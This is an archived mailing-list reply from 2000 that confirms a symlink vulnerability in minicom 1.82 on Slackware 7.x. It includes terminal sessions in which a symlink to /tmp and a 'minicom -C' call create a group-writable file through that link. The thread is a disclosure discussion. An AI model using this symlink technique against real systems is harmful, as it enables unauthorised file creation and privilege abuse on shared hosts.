|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Subject: Re: RH 6.1 / 6.2 minicom vulnerability
From: Ben Lull (blull
VALLEYLOCAL.COM)Date: Wed Aug 30 2000 - 19:03:45 CDT
- Next message: Peter W: "Using Squid to disable (or exploit) Helix Code's lynx trick"
- Previous message: Microsoft Security Response Center: "Re: Microsoft Word documents that "phone" home"
- In reply to: Sylvain Robitaille: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Next in thread: Kris Kennaway: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Reply: Ben Lull: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Sylvain Robitaille wrote:
> Ben Lull wrote:
>
> > ... Yep Slackware (7.x) too using minicom 1.82 and 1.82.1
>
> One thing Ben's example didn't show is confirmation that this problem
> follows symlinks on his system, and creates the file accoring to the
> umask, which I've found to be the case on mine:
/* snip */
And the confirmation on Slackware 7.x using minicom 1.82 and 1.82.1...
Slackware 7.0
me
technolust> ln -s /tmp/foo .
me
technolust> ls -al /tmp/foo
ls: /tmp/foo: No such file or directory
me
technolust> (umask 2; minicom -C foo)
minicom: cannot open /dev/ttyS1: Permission denied
me
technolust> ls -al /tmp/foo
-rw-rw-r-- 1 me uucp 0 Aug 30 16:49 /tmp/foo
Slackware 7.1
me
mos> ln -s /tmp/foo .
me
mos> ls -al /tmp/foo
ls: /tmp/foo: No such file or directory
me
mos> (umask 2; minicom -C foo)
minicom: cannot open /dev/ttyS1: Permission denied
me
mos> ls -al /tmp/foo
-rw-rw-r-- 1 me uucp 0 Aug 30 16:46 /tmp/foo
Thanks,
Ben Lull
***
* Ben Lull
* Valley Local Internet, Inc
* Systems Administrator
***
- text/x-vcard attachment: Card for Ben Lull
- Next message: Peter W: "Using Squid to disable (or exploit) Helix Code's lynx trick"
- Previous message: Microsoft Security Response Center: "Re: Microsoft Word documents that "phone" home"
- In reply to: Sylvain Robitaille: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Next in thread: Kris Kennaway: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Reply: Ben Lull: "Re: RH 6.1 / 6.2 minicom vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]